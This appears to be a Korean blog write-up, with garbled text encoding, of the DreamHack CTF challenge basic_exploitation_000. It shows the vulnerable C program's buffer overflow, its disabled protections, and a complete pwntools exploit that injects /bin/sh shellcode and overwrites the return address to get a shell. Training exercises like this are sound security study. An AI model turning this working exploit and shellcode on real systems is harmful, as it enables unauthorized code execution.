basic_exploitation_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
์ฌ์ฉ์๋ก๋ถํฐ 141 ๋ฐ์ดํธ ํฌ๊ธฐ์ ๋ฌธ์์ด์ ์ ๋ ฅ๋ฐ๊ณ ์์ง๋ง ์ ๋ ฅ์ด ์ ์ฅ๋๋ ๋ฒํผ์ ์ฌ์ด์ฆ๋ 0x80(128 ๋ฐ์ดํธ) ๋ฐ์ ๋์ง ์๋๋ค. ์ฆ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค๋ ์๋ฏธ๋ค.
๊ฒ๋ค๊ฐ ํ๋ฆฐํธ ์ถ๋ ฅ์ผ๋ก buf์ ์์ ์ฃผ์๋ฅผ ๋๋๊ณ ์๋ ค์ฃผ๋ return ์์ buf์ ์์ ์ฃผ์๋ก ๊ฐ์ ๋ด๊ฐ ์์ฑํ ์์ ์ฝ๋ ์คํ์ ํ๋ ๊ฒ์ด ๋ชฉ์ ์ด๋ค.
ํ์ผ ๋ณดํธ ๊ธฐ๋ฒ ํ์ธ(checksec)
STACK CANARY๊ฐ ํ์ฑํํ์ง ์์ ๊ฒ์ผ๋ก ๋ณด์ Return Address Overwrite๊ฐ ๊ฐ๋ฅํ๋ฉฐ, NX ๋ณดํธ ๊ธฐ๋ฒ๋ ๋นํ์ฑํ๋ ๊ฒ์ ๋ณด๋ฉด ์์ ์ฝ๋ ์คํ์ด ๊ฐ๋ฅํ ์คํ ํ์ผ์ด๋ค.
NX-Bit ( Never eXecute Bit , ์คํ ๋ฐฉ์ง ๋นํธ )๋?
ํ๋ก์ธ์ค ๋ช
๋ น์ด๋ ์ฝ๋ ๋๋ ๋ฐ์ดํฐ ์ ์ฅ์ ์ํ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ๋ฐ๋ก ๋ถ๋ฆฌํ๋ CPU์ ๊ธฐ์
NXํน์ฑ์ผ๋ก ์ง์ ๋ ๋ชจ๋ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์ญ์ ๋ฐ์ดํฐ ์ ์ฅ์ ์ํด์๋ง ์ฌ์ฉ๋๋ฉฐ, ํ๋ก์ธ์ค ๋ช
๋ น์ด๊ฐ ๊ทธ๊ณณ์ ์์ฃผํ์ง ์์์ผ๋ก์จ ์คํ๋์ง ์๋๋ก ๋ง๋ค์ด ์ค๋ค.
์ถ์ฒ:
๋ฉ๋ชจ๋ฆฌ ๋ณดํธ ๊ธฐ๋ฒ (NX-Bit)
๋ฉ๋ชจ๋ฆฌ ๋ณดํธ ๊ธฐ๋ฒ ( NX-Bit ) ๋ฉ๋ชจ๋ฆฌ ๋ณดํธ ๊ธฐ๋ฒ ์ข ๋ฅ NX Bit ( MS : DEP ) ASLR Canaries RELRO PIE NX-Bit ( MS : DEP )? NX-Bit ( Never eXecute Bit , ์คํ ๋ฐฉ์ง ๋นํธ )๋? ํ๋ก์ธ์ค ๋ช ๋ น์ด๋ ์ฝ๋ ๋๋ ๋ฐ์ดํฐ ์ ์ฅ์ ์ํ
c0wb3ll.tistory.com
exploit.py
from pwn import *
sh = process("./basic_exploitation_000")
# sh = remote("host3.dreamhack.games", 11834)
sh.recvuntil("(")
addr = int( sh.recvline().decode().split(')')[0], 16 )
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload = shellcode
payload += b"b" * ( 128 + 4 - len(shellcode) )
payload += p32(addr)
sh.sendline(payload)
sh.interactive()
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"๋ ์ด์ ๋ธ๋ฆฌ๋ก ์์ฑ๋ 32๋นํธ ํ๊ฒฝ ์์ฝ๋์ด๋ค.
payload += b"b" * ( 128 + 4 - len(shellcode) )
payload ๋ณ์์ ๋ฒํผ๋ฅผ ์ฑ์ฐ๊ธฐ ์ํด ์์์ ๊ฐ์ธ "b"๋ฅผ 128 + 4 - len(shellcode) ๋งํผ ์ฑ์ ๋ฃ์๋ค.
์ฌ๊ธฐ์ 128์ buf์ ํฌ๊ธฐ๋ฅผ ์๋ฏธํ๋ฉฐ, 4๋ SFP๋ฅผ ์๋ฏธํ๋ค.
payload += p32(addr)
๋ง์ง๋ง์๋ buf์ ์์ ์ฃผ์๋ฅผ 32๋นํธ ํํ ๋ฆฌํ ์๋์ธ์ผ๋ก ํจํนํ ๋ค์ ํ์ด๋ก๋์ ํฌํจํด ์ค๋ค.
์์คํ ์ ํ๋
์์ฑ์ ํ ํ์ด์ฌ ์ฝ๋๋ฅผ ์คํ์ํค๋ฉด ์์์ ํ์ด๋ก๋๋ฅผ ์ ์กํด ์ธํฐ๋ ํฐ๋ธ ๋ชจ๋๋ก ๋ฐ๋๋ฉด์ ๊ณต๊ฒฉ ๋์์ ์์ ํ๋์ ์ฑ๊ณตํ๋ค.
'๐ดCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
DreamHack - Quiz: x86 Assembly 1 (0) | 2023.05.01 |
---|---|
DreamHack - Return Address Overwrite (0) | 2023.04.30 |
DreamHack - basic_exploitation_001 ํ์ด (0) | 2023.04.25 |
DreamHack - login-1 ํ์ด (0) | 2023.03.27 |
DreamHack - node-serialize (nodejs ์ง๋ ฌํ ์ทจ์ฝ์ ) ํ์ด (0) | 2023.03.27 |